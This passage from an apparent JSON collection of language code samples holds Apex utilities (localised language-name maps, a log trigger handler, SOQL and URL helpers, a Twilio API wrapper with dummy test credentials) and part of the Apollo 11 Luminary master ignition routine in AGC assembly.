spanska'\n,'fi'=>'Finska'\n,'fr'=>'Franska'\n,'hu'=>'Ungerska'\n,'in'=>'Indonesiska'\n,'it'=>'Italienska'\n,'ja'=>'Japanska'\n,'ko'=>'Koreanska'\n,'nl_nl'=>'Nederländska'\n,'pl'=>'Polska'\n,'pt_br'=>'Portugisiska (Brasilien)'\n,'ro'=>'Rumänska'\n,'ru'=>'Ryska'\n,'sv'=>'Svenska'\n,'th'=>'Thai'\n,'tr'=>'Turkiska'\n,'zh_cn'=>'Kinesiska (förenklad)'\n,'zh_tw'=>'Kinesiska (traditionell)'\n}\n,'th'=> new Map<String,String>{\n'cs'=>'สาธารณรัฐ เช็ ก'\n,'da'=>'เดนมาร์ก'\n,'de'=>'เยอรมัน'\n,'en_us'=>'ภาษา อังกฤษ States (United)'\n,'es'=>'สเปน'\n,'es_mx'=>'สเปน เม็ก ซิ กัน'\n,'fi'=>'ฟินแลนด์'\n,'fr'=>'ฝรั่งเศส'\n,'hu'=>'ฮังการี'\n,'in'=>'อินโดนีเซีย'\n,'it'=>'อิตาเลียน'\n,'ja'=>'ญี่ปุ่น'\n,'ko'=>'เกาหลี'\n,'nl_nl'=>'ดัตช์'\n,'pl'=>'เงา'\n,'pt_br'=>'โปรตุเกส (บราซิล)'\n,'ro'=>'โรมาเนีย'\n,'ru'=>'ภาษา รัสเซีย'\n,'sv'=>'สวีเดน'\n,'th'=>'ไทย'\n,'tr'=>'ภาษา ตุรกี'\n,'zh_cn'=>'จีน (ประยุกต์)'\n,'zh_tw'=>'ภาษา จีน (ดั้งเดิม)'\n}\n,'tr'=> new Map<String,String>{\n'cs'=>'Çekçe'\n,'da'=>'Danca'\n,'de'=>'Almanca'\n,'en_us'=>'İngilizce (ABD)'\n,'es'=>'İspanyolca'\n,'es_mx'=>'Mexican İspanyolca'\n,'fi'=>'Fince'\n,'fr'=>'Fransızca'\n,'hu'=>'Macarca'\n,'in'=>'Endonezya Dili'\n,'it'=>'İtalyanca'\n,'ja'=>'Japonca'\n,'ko'=>'Korece'\n,'nl_nl'=>'Hollanda Dili'\n,'pl'=>'Lehçe'\n,'pt_br'=>'Portekizce (Brezilya)'\n,'ro'=>'Romence'\n,'ru'=>'Rusça'\n,'sv'=>'İsveççe'\n,'th'=>'Tay'\n,'tr'=>'Türkçe'\n,'zh_cn'=>'Çince (Basitleştirilmiş)'\n,'zh_tw'=>'Çince (Geleneksel)'\n}\n,'zh_cn'=> new Map<String,String>{\n'cs'=>'捷克文'\n,'da'=>'丹麦文'\n,'de'=>'德语'\n,'en_us'=>'英语（美国）'\n,'es'=>'西班牙语'\n,'es_mx'=>'墨西哥西班牙语'\n,'fi'=>'芬兰文'\n,'fr'=>'法语'\n,'hu'=>'匈牙利文'\n,'in'=>'印度尼西亚文'\n,'it'=>'意大利语'\n,'ja'=>'日语'\n,'ko'=>'韩文'\n,'nl_nl'=>'荷兰文'\n,'pl'=>'波兰文'\n,'pt_br'=>'葡萄牙语（巴西）'\n,'ro'=>'罗马尼亚文'\n,'ru'=>'俄文'\n,'sv'=>'瑞典文'\n,'th'=>'泰国'\n,'tr'=>'土耳其文'\n,'zh_cn'=>'中文（简体）'\n,'zh_tw'=>'中文（繁体）'\n}\n,'zh_tw'=> new Map<String,String>{\n'cs'=>'捷克文'\n,'da'=>'丹麥文'\n,'de'=>'德語'\n,'en_us'=>'英語（美國）'\n,'es'=>'西班牙語'\n,'es_mx'=>'墨西哥西班牙語'\n,'fi'=>'芬蘭文'\n,'fr'=>'法語'\n,'hu'=>'匈牙利文'\n,'in'=>'印度尼西亞文'\n,'it'=>'意大利語'\n,'ja'=>'日語'\n,'ko'=>'韓文'\n,'nl_nl'=>'荷蘭文'\n,'pl'=>'波蘭文'\n,'pt_br'=>'葡萄牙語（巴西）'\n,'ro'=>'羅馬尼亞文'\n,'ru'=>'俄文'\n,'sv'=>'瑞典文'\n,'th'=>'泰國'\n,'tr'=>'土耳其文'\n,'zh_cn'=>'中文（簡體）'\n,'zh_tw'=>'中文（繁體）'\n}\n\n\t};    \n    \n}"
  },
  {
    "path": "samples/Apex/LogTriggerHandler.trigger",
    "content": "/**\n * @description Trigger handler for persisting Platform Event based\n * log messages.\n *\n * @group Trigger Recipes\n * @see Log\n */\npublic with sharing class LogTriggerHandler extends TriggerHandler {\n    List<Log__e> incomingRecords = new List<Log__e>();\n\n    /**\n     * @description constructor accepting a list of log__e records\n     */\n    public LogTriggerHandler() {\n        this.incomingRecords = (List<Log__e>) Trigger.new;\n    }\n\n    /**\n     * @description code to be executed in the afterInsert context\n     */\n    override public void afterInsert() {\n        List<LogEvent__c> events = new List<LogEvent__c>();\n\n        for (Log__e event : this.incomingRecords) {\n            events.add(\n                new LogEvent__c(\n                    Log_Data__c = event.Log_Message__c,\n                    Quiddity__c = event.Quiddity__c,\n                    Request_Id__c = event.Request_Id__c,\n                    Severity__c = event.Severity__c\n                )\n            );\n        }\n\n        List<Database.SaveResult> res = Database.insert(events, false);\n        for (Database.SaveResult saveRes : res) {\n            if (!saveRes.isSuccess()) {\n                System.debug(\n                    LoggingLevel.ERROR,\n                    'Failed to save log message: ' + saveRes\n                );\n            }\n        }\n    }\n}"
  },
  {
    "path": "samples/Apex/SoqlUtils.apex",
    "content": "/* ============================================================\n * This code is part of the \"apex-lang\" open source project avaiable at:\n * \n *      http://code.google.com/p/apex-lang/\n *\n * This code is licensed under the Apache License, Version 2.0.  You may obtain a \n * copy of the License at:\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * ============================================================\n */\nglobal class SoqlUtils {\n\n    global static String toLiteral(final Object value){\n    \treturn toLiteral(value,null);\n    }\n    \n    global static String toLiteral(final Object value, SoqlOptions options){\n        if(options == null){\n            options = SoqlOptions.DEFAULT_OPTIONS;\n        }\n    \tString literal = '';\n        if(         value == null){\n            literal += 'null'; \n        } else if(  value instanceof Soqlable ){\n        \treturn ((Soqlable)value).toSoql(options);\n        } else if(  value instanceof String  ||\n                    value instanceOf ID){\n            String manipulated = (String) value;\n            if(options.escapeSingleQuotes == true){\n                manipulated = String.escapeSingleQuotes(manipulated);\n            }\n            literal += '\\'' + manipulated + '\\''; \n        } else if(  value instanceOf Boolean ||\n                    value instanceOf Integer || \n                    value instanceOf Long    || \n                    value instanceOf Double  || \n                    value instanceOf Decimal){\n            literal += value;\n        } else if(  value instanceOf Date){\n            literal += Datetime.newInstance(((Date)value).year(), ((Date)value).month(), ((Date)value).day()).format('yyyy-MM-dd');\n        } else if(  value instanceOf Datetime){\n            literal += ((Datetime) value).format('yyyy-MM-dd') + 'T' + ((Datetime) value).format('hh:mm:ss') + 'Z';\n        } else {\n            throw new IllegalArgumentException('invalid value; value must be null, a primitive type ' \n                + '(String|ID|Boolean|Integer|Long|Double|Decimal|Date|Datetime), or implement Soqlable interface');\n        }\n        return literal;\n    }\n\n    global static List<String> toLiteral(final List<Object> values){\n    \treturn toLiteral(values,SoqlOptions.DEFAULT_OPTIONS);\n    }\n    \n    global static List<String> toLiteral(final List<Object> values, final SoqlOptions options){\n\t\tfinal List<String> literals = new List<String>();\n\t\tif(values != null && values.size() > 0){\n\t\t\tfor(Object obj : values){\n\t\t\t\tliterals.add(toLiteral(obj,options));\n\t\t\t}\n\t\t}\n\t\treturn literals;\n\t}\n\n    global static void assertEquals(String expected, String actual){\n        System.assert(\n            equals(expected,actual),\n            'Assertion failed, the following two SOQLs are not equal.  Expected: ' + expected + ', Actual: ' + actual);\n    }\n\n    /**\n     * This equals is fairly simplistic.  It will account for unordered columns,\n     * lower vs upper case (SELECT vs select) but it won't take into account anything else.  Different\n     * order of where conditions for example.\n     */\n    global static Boolean equals(String soql1, String soql2){\n\t\tif( soql1.contains('\\n') != soql2.contains('\\n') ){\n\t\t\treturn false;\n\t\t}\n        soql1 = StringUtils.replace(StringUtils.trim(StringUtils.lowerCase(soql1)), '\\n', '');\n        soql2 = StringUtils.replace(StringUtils.trim(StringUtils.lowerCase(soql2)), '\\n', '');\n        if(StringUtils.equals(soql1,soql2)){\n            return true;\n        }\n        if(!StringUtils.startsWith(soql1, 'select') || !StringUtils.startsWith(soql2, 'select')){\n        \treturn false;\n        }\n        String afterSelect1 = StringUtils.trim(StringUtils.substringAfter(soql1,'select'));\n        String afterSelect2 = StringUtils.trim(StringUtils.substringAfter(soql2,'select'));\n        Set<String> columns1 = StringUtils.trimAll(SetUtils.listToSet(StringUtils.split(StringUtils.trim(StringUtils.substringBeforeLast(afterSelect1,' from ')),',')));\n        Set<String> columns2 = StringUtils.trimAll(SetUtils.listToSet(StringUtils.split(StringUtils.trim(StringUtils.substringBeforeLast(afterSelect2,' from ')),',')));\n        if(!SetUtils.equals(columns1,columns2)){\n        \treturn false;\n        }\n        String afterFrom1 = StringUtils.trim(StringUtils.substringAfterLast(soql1,' from '));\n        String afterFrom2 = StringUtils.trim(StringUtils.substringAfterLast(soql2,' from '));\n        return StringUtils.equals(afterFrom1,afterFrom2);\n    }\n    \n    \n}"
  },
  {
    "path": "samples/Apex/TwilioAPI.cls",
    "content": "/*\nCopyright (c) 2012 Twilio, Inc.\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n*/\n/**\n * Entry point for accessing Twilio resources that are pre-configured\n * with credentials from the Twilio Config custom setting (TwilioConfig__c).\n *\n * To set up your Twilio credentials:\n *   1. Get a Twilio account at http://www.twilio.com/try-twilio\n *   2. Find your Twilio Account Sid and Auth Token at https://www.twilio.com/user/account\n *   3. Log into Salesforce and go to:  Setup | Develop | Custom Settings | Manage Twilio Config\n *   4. Create a new Twilo Config instance\n *   5. Copy and paste your Account Sid and Auth Token and click Save\n *\n * NOTE: The Application Sid field is for use with the Twilio Client softphone\n *       SDK for Javascript.  It is not required for the rest of the Twilio API.\n *\n * Now you can get easy access to Twilio from your Apex code by calling:\n *\n *   TwilioRestClient restClient = TwilioAPI.getDefaultClient();\n *   restClient.getAccount().getCalls(); \n *   // etc.  \n */\nglobal class TwilioAPI {\n\n\tprivate class MissingTwilioConfigCustomSettingsException extends Exception {}\n\n\tprivate static TwilioRestClient client;\n\t\n    private TwilioAPI() {}\n    \n    /**\n     * Get a TwilioRestClient pre-populated with your TwilioConfig credentials\n     */\n    public static TwilioRestClient getDefaultClient() {\n    \tif (client==null) {\n    \t\tTwilioConfig__c twilioCfg = getTwilioConfig();\n\t    \tTwilioAPI.client = new TwilioRestClient(twilioCfg.AccountSid__c, twilioCfg.AuthToken__c);\n    \t}\n\t   \treturn TwilioAPI.client;\n    }\n    \n    /**\n     * Get your primary account using your TwilioConfig credentials\n     */\n    public static TwilioAccount getDefaultAccount() {\n    \treturn getDefaultClient().getAccount();\n    }\n    \n    /**\n     * Get a new Twilio Client capability token generator pre-populated\n     * with your TwilioConfig credentials\n     */\n    public static TwilioCapability createCapability() {\n\t\tTwilioConfig__c twilioCfg = getTwilioConfig();\n\t\treturn new TwilioCapability(twilioCfg.AccountSid__c, twilioCfg.AuthToken__c);    \t\n    }\n    \n    /**\n     * Get a new TwilioRestClient authorized with the credentials provided\n     */\n    public static TwilioRestClient createClient(String accountSid, String authToken) {\n    \treturn new TwilioRestClient(accountSid, authToken);\n    }\n    \n    /**\n     * Load the org default TwilioConfig record\n     */\n    public static TwilioConfig__c getTwilioConfig() {\n    \tTwilioConfig__c twilioCfg;\n    \tif (Test.isRunningTest()) {\n    \t\ttwilioCfg = new TwilioConfig__c();\n    \t\ttwilioCfg.AccountSid__c = 'ACba8bc05eacf94afdae398e642c9cc32d'; // dummy sid\n    \t\ttwilioCfg.AuthToken__c = '12345678901234567890123456789012';    // dummy token\n    \t} else {\n    \t\ttwilioCfg = TwilioConfig__c.getOrgDefaults();\n\t    \tif (twilioCfg==null)\n\t    \t\tthrow new MissingTwilioConfigCustomSettingsException('Please enter your Twilio account credentials under Twilio Config custom settings (go to Setup | Develop | Custom Settings | Manage Twilio Config)');\n    \t}\n   \t\treturn twilioCfg;\n    }\n\n    \n    @isTest\n    static void test_TwilioAPI() {\n\t\tSystem.assertEquals('ACba8bc05eacf94afdae398e642c9cc32d', TwilioAPI.getTwilioConfig().AccountSid__c);\n\t\tSystem.assertEquals('12345678901234567890123456789012', TwilioAPI.getTwilioConfig().AuthToken__c);\n\t\tSystem.assertEquals('ACba8bc05eacf94afdae398e642c9cc32d', TwilioAPI.getDefaultClient().getAccountSid());\n\t\tSystem.assertEquals('ACba8bc05eacf94afdae398e642c9cc32d', TwilioAPI.getDefaultClient().getAccount().getSid());\n\t\tSystem.assertEquals('ACba8bc05eacf94afdae398e642c9cc32d', TwilioAPI.getDefaultAccount().getSid());\n\t}\n\t\n}"
  },
  {
    "path": "samples/Apex/UrlUtils.apex",
    "content": "/* ============================================================\n * This code is part of the \"apex-lang\" open source project avaiable at:\n * \n *      http://code.google.com/p/apex-lang/\n *\n * This code is licensed under the Apache License, Version 2.0.  You may obtain a \n * copy of the License at:\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * ============================================================\n */\nglobal class UrlUtils {\n    \n    global static String getBase(String url){\n        String[] split = StringUtils.split(url, '?');\n        if(split == null || split.size() == 0){\n            return null;\n        }\n        return split[0];\n    }\n\n    global static Map<String,String> getParams(String url){\n        //url -> http://google.com?api=x&xyz=123\n        Map<String,String> returnMap = new Map<String,String>();\n        String[] split = StringUtils.split(url, '?');\n        //split -> ['http://google.com','api=x&xyz=123']\n        if(split == null || split.size() != 2 || split[1] == null){\n            return returnMap;\n        }\n        split = StringUtils.split(split[1],'&');\n        //split -> ['api=x','xyz=123']\n        if(split != null && split.size() > 0){\n            String[] split2 = null;\n            for(String keyValuePair : split){\n                //keyValuePair -> 'api=x'\n                split2 = StringUtils.split(keyValuePair,'=');\n                String key = '';\n                if(split2 != null && split2.size() > 0) key = split2[0];\n                String value = '';\n                if(split2 != null && split2.size() > 1) value = split2[1];\n                returnMap.put(key,EncodingUtil.urlDecode(value, 'UTF-8'));\n            }\n        }\n        return returnMap;\n    }\n\n    global static String ensureUrlBeginsWithHttp(String url){\n        if(StringUtils.isNotEmpty(url)){\n            final String lowerCaseUrl = StringUtils.lowerCase(url);\n            if(    !StringUtils.startsWith(lowerCaseUrl, 'http://') \n              &&   !StringUtils.startsWith(lowerCaseUrl, 'https://')){\n              \tif(StringUtils.contains(lowerCaseUrl, '//')) url = StringUtils.substringAfter(url, '//');\n                url = 'http://'+ StringUtils.stripStart(url,'/:');\n            }\n        }\n        return url;\n    }\n\n}"
  },
  {
    "path": "samples/Apollo Guidance Computer/BURN_BABY_BURN--MASTER_IGNITION_ROUTINE.agc",
    "content": "# Copyright:\tPublic domain.\n# Filename:\tBURN_BABY_BURN--MASTER_IGNITION_ROUTINE.agc\n# Purpose: \tPart of the source code for Luminary 1A build 099.\n#\t\tIt is part of the source code for the Lunar Module's (LM)\n#\t\tApollo Guidance Computer (AGC), for Apollo 11.\n# Assembler:\tyaYUL\n# Contact:\tRon Burkey <info@sandroid.org>.\n# Website:\twww.ibiblio.org/apollo.\n# Pages:\t731-751\n# Mod history:\t2009-05-19 RSB\tAdapted from the corresponding \n#\t\t\t\tLuminary131 file, using page \n#\t\t\t\timages from Luminary 1A.\n#\t\t2009-06-07 RSB\tCorrected 3 typos.\n#\t\t2009-07-23 RSB\tAdded Onno's notes on the naming\n#\t\t\t\tof this function, which he got from\n#\t\t\t\tDon Eyles.\n#\n# This source code has been transcribed or otherwise adapted from\n# digitized images of a hardcopy from the MIT Museum.  The digitization\n# was performed by Paul Fjeld, and arranged for by Deborah Douglas of\n# the Museum.  Many thanks to both.  The images (with suitable reduction\n# in storage size and consequent reduction in image quality as well) are\n# available online at www.ibiblio.org/apollo.  If for some reason you\n# find that the images are illegible, contact me at info@sandroid.org\n# about getting access to the (much) higher-quality images which Paul\n# actually created.\n#\n# Notations on the hardcopy document read, in part:\n#\n#\tAssemble revision 001 of AGC program LMY99 by NASA 2021112-61\n#\t16:27 JULY 14, 1969 \n\n# Page 731\n## At the get-together of the AGC developers celebrating the 40th anniversary\n## of the first moonwalk, Don Eyles (one of the authors of this routine along\n## with Peter Adler) has related to us a little interesting history behind the\n## naming of the routine.<br>\n## <br>\n## It traces back to 1965 and the Los Angeles riots, and was inspired \n## by disc jockey extraordinaire and radio station owner Magnificent Montague.\n## Magnificent Montague used the phrase \"Burn, baby! BURN!\" when spinning the \n## hottest new records. Magnificent Montague was the charismatic voice of\n## soul music in Chicago, New York, and Los Angeles from the mid-1950s to \n## the mid-1960s.\n# BURN, BABY, BURN -- MASTER IGNITION ROUTINE\n\n\t\tBANK\t36\n\t\tSETLOC\tP40S\n\t\tBANK\n\t\tEBANK=\tWHICH\n\t\tCOUNT*\t$$/P40\n\n# THE MASTER IGNITION ROUTINE IS DESIGNED FOR USE BY THE FOLLOWING LEM PROGRAMS:  P12, P40, P42, P61, P63.\n# IT PERFORMS ALL FUNCTIONS IMMEDIATELY ASSOCIATED WITH APS OR DPS IGNITION:  IN PARTICULAR, EVERYTHING LYING\n# BETWEEN THE PRE-IGNITION TIME CHECK -- ARE WE WITHIN 45 SECONDS OF TIG? -- AND TIG + 26 SECONDS, WHEN DPS\n# PROGRAMS THROTTLE UP.\n#\n# VARIATIONS AMONG PROGRAMS ARE ACCOMODATED BY MEANS OF TABLES CONTAINING CONSTANTS (FOR AVEGEXIT, FOR\n# WAITLIST, FOR PINBALL) AND TCF INSTRUCTIONS.  USERS PLACE THE ADRES OF THE HEAD OF THE APPROPRIATE TABLE\n# (OF P61TABLE FOR P61LM, FOR EXAMPLE) IN ERASABLE REGISTER `WHICH' (E4).  THE IGNITION ROUTINE THEN INDEXES BY\n# WHICH TO OBTAIN OR EXECUTE THE PROPER TABLE ENTRY.  THE IGNITION ROUTINE IS INITIATED BY A TCF BURNBABY,\n# THROUGH BANKJUMP IF NECESSARY.  THERE IS NO RETURN.\n#\n# THE MASTER IGNITION ROUTINE WAS CONCEIVED AND EXECUTED, AND (NOTA BENE) IS MAINTAINED BY ADLER AND EYLES.\n#\n# \t\t   HONI SOIT QUI MAL Y PENSE\n#\n#\t***********************************************\n#\t\tTABLES FOR THE IGNITION ROUTINE\n#\t***********************************************\n#\n#\t\t\tNOLI SE TANGERE\n\nP12TABLE\tVN\t0674\t\t# (0)\n\t\tTCF\tULLGNOT\t\t# (1)\n\t\tTCF\tCOMFAIL3\t# (2)\n\t\tTCF\tGOCUTOFF\t# (3)\n\t\tTCF\tTASKOVER\t# (4)\n\t\tTCF\tP12SPOT\t\t# (5)\n\t\tDEC\t0\t\t# (6)\tNO ULLAGE\n\t\tEBANK=\tWHICH\n\t\t2CADR\tSERVEXIT\t# (7)\n\n\t\tTCF\tDISPCHNG\t# (11)\n\t\tTCF\tWAITABIT\t# (12)\n\t\tTCF\tP12IGN\t\t# (13)\n\nP40TABLE\tVN\t0640\t\t# (0)\n\t\tTCF\tULLGNOT\t\t# (1)\n\t\tTCF\tCOMFAIL4\t# (2)\n\t\tTCF\tGOPOST\t\t# (3)\n\t\tTCF\tTASKOVER\t# (4)\n\t\tTCF\tP40SPOT\t\t# (5)\n# Page 732\n\t\tDEC\t2240\t\t# (6)\n\t\tEBANK=\tOMEGAQ\n\t\t2CADR\tSTEERING\t# (7)\n\n\t\tTCF\tP40SJUNK\t# (11)\n\t\tTCF\tWAITABIT\t# (12)\n\t\tTCF\tP40IGN\t\t# (13)\n\t\tTCF\tREP40ALM\t# (14)\n\nP41TABLE\tTCF\tP41SPOT\t\t# (5)\n\t\tDEC\t-1\t\t# (6)\n\t\tEBANK=\tOMEGAQ\n\t\t2CADR\tCALCN85\t\t# (7)\n\n\t\tTCF\tCOMMON\t\t# (11)\n\t\tTCF\tTIGTASK\t\t# (12)\n\nP42TABLE\tVN\t0640\t\t# (0)\n\t\tTCF\tWANTAPS\t\t# (1)\n\t\tTCF\tCOMFAIL4\t# (2)\n\t\tTCF\tGOPOST\t\t# (3)\n\t\tTCF\tTASKOVER\t# (4)\n\t\tTCF\tP42SPOT\t\t# (5)\n\t\tDEC\t2640\t\t# (6)\n\t\tEBANK=\tOMEGAQ\n\t\t2CADR\tSTEERING\t# (7)\n\n\t\tTCF\tP40SJUNK\t# (11)\n\t\tTCF\tWAITABIT\t# (12)\n\t\tTCF\tP42IGN\t\t# (13)\n\t\tTCF\tP42STAGE\t# (14)\n\nP63TABLE\tVN\t0662\t\t# (0)\n\t\tTCF\tULLGNOT\t\t# (1)\n\t\tTCF\tCOMFAIL3\t# (2)\n\t\tTCF\tV99RECYC\t# (3)\n\t\tTCF\tTASKOVER\t# (4)\n\t\tTCF\tP63SPOT\t\t# (5)\n\t\tDEC\t2240\t\t# (6)\n\t\tEBANK=\tWHICH\n\t\t2CADR\tSERVEXIT\t# (7)\n\n\t\tTCF\tDISPCHNG\t# (11)\n\t\tTCF\tWAITABIT\t# (12)\n# Page 733\n\t\tTCF\tP63IGN\t\t# (13)\n\nABRTABLE\tVN\t0663\t\t# (0)\n\t\tTCF\tULLGNOT\t\t# (1)\n\t\tTCF\tCOMFAIL3\t# (2)\n\t\tTCF\tGOCUTOFF\t# (3)\n\t\tTCF\tTASKOVER\t# (4)\n\t\tNOOP\t\t\t# (5)\n\t\tNOOP\t\t\t# (6)\n\t\tNOOP\t\t\t# (7)\n\t\tNOOP\n\t\tTCF\tDISPCHNG\t# (11)\n\t\tTCF\tWAITABIT\t# (12)\n\t\tTCF\tABRTIGN\t\t# (13)\n\n#\t*********************************\n#\tGENERAL PURPOSE IGNITION ROUTINES\n#\t*********************************\n\nBURNBABY\tTC\tPHASCHNG\t# GROUP 4 RESTARTS HERE\n\t\tOCT\t04024\n\n\t\tCAF\tZERO\t\t# EXTIRPATE JUNK LEFT IN DVTOTAL\n\t\tTS\tDVTOTAL\n\t\tTS\tDVTOTAL +1\n\n\t\tTC\tBANKCALL\t# P40AUTO MUST BE BANKCALLED EVEN FROM ITS\n\t\tCADR\tP40AUTO\t\t# OWN BANK TO SET UP RETURN PROPERLY\n\nB*RNB*B*\tEXTEND\n\t\tDCA\tTIG\t\t# STORE NOMINAL TIG FOR OBLATENESS COMP.\n\t\tDXCH\tGOBLTIME\t# AND FOR P70 OR P71.\n\n\t\tINHINT\n\t\tTC\tIBNKCALL\n\t\tCADR\tENGINOF3\n\t\tRELINT\n\n\t\tINDEX\tWHICH\n\t\tTCF\t5\n\nP42SPOT\t\t=\tP40SPOT\t\t# (5)\nP12SPOT\t\t=\tP40SPOT\t\t# (5)\nP63SPOT\t\t=\tP41SPOT\t\t# (5)\tIN P63 CLOKTASK ALREADY GOING\nP40SPOT\t\tCS\tCNTDNDEX\t# (5)\n# Page 734\n\t\tTC\tBANKCALL\t# MUST BE BANKCALLED FOR GENERALIZED\n\t\tCADR\tSTCLOK2\t\t# \tRETURN\nP41SPOT\t\tTC\tINTPRET\t\t# (5)\n\t\tDLOAD\tDSU\n\t\t\tTIG\n\t\t\tD29.9SEC\n\t\tSTCALL\tTDEC1\n\t\t\tINITCDUW\n\t\tBOFF\tCALL\n\t\t\tMUNFLAG\n\t\t\tGOMIDAV\n\t\t\tCSMPREC\n\t\tVLOAD\tMXV\n\t\t\tVATT1\n\t\t\tREFSMMAT\n\t\tVSR1\n\t\tSTOVL\tV(CSM)\t\t# CSM VELOCITY -- M/CS*2(7)\n\t\t\tRATT1\n\t\tVSL4\tMXV\n\t\t\tREFSMMAT\n\t\tSTCALL\tR(CSM)\t\t# CSM POSITION -- M*2(24)\n\t\t\tMUNGRAV\n\t\tSTODL\tG(CSM)\t\t# CSM GRAVITY VEC. -- M/CS*2(7)\n\t\t\tTAT\n\t\tSTORE\tTDEC1\t\t# RELOAD TDEC1 FOR MIDTOAV.\nGOMIDAV\t\tCALRB\n\t\t\tMIDTOAV1\n\t\tTCF\tCALLT-35\t# MADE IT IN TIME.\n\n\t\tEXTEND\t\t\t# TIG WAS SLIPPED, SO RESET TIG TO 29.9\n\t\tDCA\tPIPTIME1\t# SECONDS AFTER THE TIME TO WHICH WE DID\n\t\tDXCH\tTIG\t\t# INTEGRATE.\n\t\tEXTEND\n\t\tDCA\tD29.9SEC\n\t\tDAS\tTIG\n\nCALLT-35\tDXCH\tMPAC\n\t\tDXCH\tSAVET-30\t# DELTA-T UNTIL TIG-30\n\t\tEXTEND\n\t\tDCS\t5SECDP\n\t\tDAS\tSAVET-30\t# DELTA-T UNTIL TIG-35\n\t\tEXTEND\n\t\tDCA\tSAVET-30\n\t\tTC\tLONGCALL\n\t\tEBANK=\tTTOGO\n\t\t2CADR\tTIG-35\n\n\t\tTC\tPHASCHNG\n\t\tOCT\t20254\t\t# 4.25SPOT FOR TIG-35 RESTART.\n# Page 735\n\t\tTC\tCHECKMM\n\t\tDEC\t63\n\t\tTCF\tENDOFJOB\t# NOT P63\n\t\tCS\tCNTDNDEX\t# P63 CAN START DISPLAYING NOW.\n\t\tTS\tDISPDEX\n\t\tTC\tINTPRET\n\t\tVLOAD\tABVAL\n\t\t\tVN1\n\t\tSTORE\tABVEL\t\t# INITIALIZE ABVEL FOR P63 DISPLAY\n\t\tEXIT\n\t\tTCF\tENDOFJOB\n\n#\t********************************\n\nTIG-35\t\tCAF\t5SEC\n\t\tTC\tTWIDDLE\n\t\tADRES\tTIG-30\n\n\t\tTC\tPHASCHNG\n\t\tOCT\t40154\t\t# 4.15SPOT FOR TIG-30 RESTART\n\n\t\tCS\tBLANKDEX\t# BLANK DSKY FOR 5 SECONDS\n\t\tTS\tDISPDEX\n\n\t\tINDEX\tWHICH\n\t\tCS\t6\t\t# CHECK ULLAGE TIME.\n\t\tEXTEND\n\t\tBZMF\tTASKOVER\n\t\tCAF\t4.9SEC\t\t# SET UP TASK TO RESTORE DISPLAY AT TIG-30\n\t\tTC\tTWIDDLE\n\t\tADRES\tTIG-30.1\n\n\t\tCAF\tPRIO17\t\t# A NEGATIVE ULLAGE TIME INDICATES P41, IN\n\t\tTC\tNOVAC\t\t# WHICH CASE WE HAVE TO SET UP A JOB TO\n\t\tEBANK=\tTTOGO\t\t# BLANK THE DSKY FOR FIVE SECONDS, SINCE\n\t\t2CADR\tP41BLANK\t# CLOKJOB IS NOT RUNNING DURING P41.\n\n\t\tTCF\tTASKOVER\n\nP41BLANK\tTC\tBANKCALL\t# BLANK DSKY.\n\t\tCADR\tCLEANDSP\n\t\tTCF\tENDOFJOB\n\nTIG-30.1\tCAF\tPRIO17\t\t# SET UP JOB TO RESTORE DISPLAY AT TIG-30\n\t\tTC\tNOVAC\n\t\tEBANK=\tTTOGO\n\t\t2CADR\tTIG-30A\n\n\t\tTCF\tTASKOVER\n# Page 736\nTIG-30A\t\tCAF\tV16N85B\n\t\tTC\tBANKCALL\t# RESTORE DISPLAY.\n\t\tCADR\tREGODSP\t\t# REGODSP DOES A TCF ENDOFJOB\n\n#\t********************************\n\nTIG-30\t\tCAF\tS24.9SEC\n\t\tTC\tTWIDDLE\n\t\tADRES\tTIG-5\n\n\t\tCS\tCNTDNDEX\t# START UP CLOKTASK AGAIN\n\t\tTS\tDISPDEX\n\n\t\tINDEX\tWHICH\t\t# PICK UP APPROPRIATE ULLAGE -- ON TIME\n\t\tCA\t6\t\t# Was CAF --- RSB 2009.\n\t\tEXTEND\n\t\tBZMF\tULLGNOT\t\t# DON'T SET UP ULLAGE IF DT IS NEG OR ZERO\n\t\tTS\tSAVET-30\t# SAVE DELTA-T FOR RESTART\n\t\tTC\tTWIDDLE\n\t\tADRES\tULLGTASK\n\n\t\tCA\tTHREE\t\t# RESTART PROTECT ULLGTASK (1.3SPOT)\n\t\tTS\tL\n\t\tCS\tTHREE\n\t\tDXCH\t-PHASE1\n\t\tCS\tTIME1\n\t\tTS\tTBASE1\n\n\t\tINDEX\tWHICH\n\t\tTCF\t1\n\nWANTAPS\t\tCS\tFLGWRD10\t# (1) FOR P42 ENSURE APSFLAG IS SET.  IF IT\n\t\tMASK\tAPSFLBIT\t# WASN'T SET, DAP WILL BE INITIALIZED TO\n\t\tADS\tFLGWRD10\t# ASCENT VALUES BY 1/ACCS IN 2 SECONDS.\n\nULLGNOT\t\tEXTEND\t\t\t# (1)\n\t\tINDEX\tWHICH\n\t\tDCA\t7\t\t# LOAD AVEGEXIT WITH APPROPRIATE 2CADR\n\t\tDXCH\tAVEGEXIT\n\n\t\tCAF\tTWO\t\t# 4.2SPOT RESTARTS IMMEDIATELY AT REDO4.2\n\t\tTS\tL\n\t\tCS\tTWO\t\t# AND ALSO AT TIG-5 AT THE CORRECT TIME.\n\t\tDXCH\t-PHASE4\n\n\t\tCS\tTIME1\n\t\tTS\tTBASE4\t\t# SET TBASE4 FOR TIG-5 RESTART\n\nREDO2.17\tEXTEND\n# Page 737\n\t\tDCA\tNEG0\t\t# CLEAR OUT GROUP 2 SO LAMBERT CAN 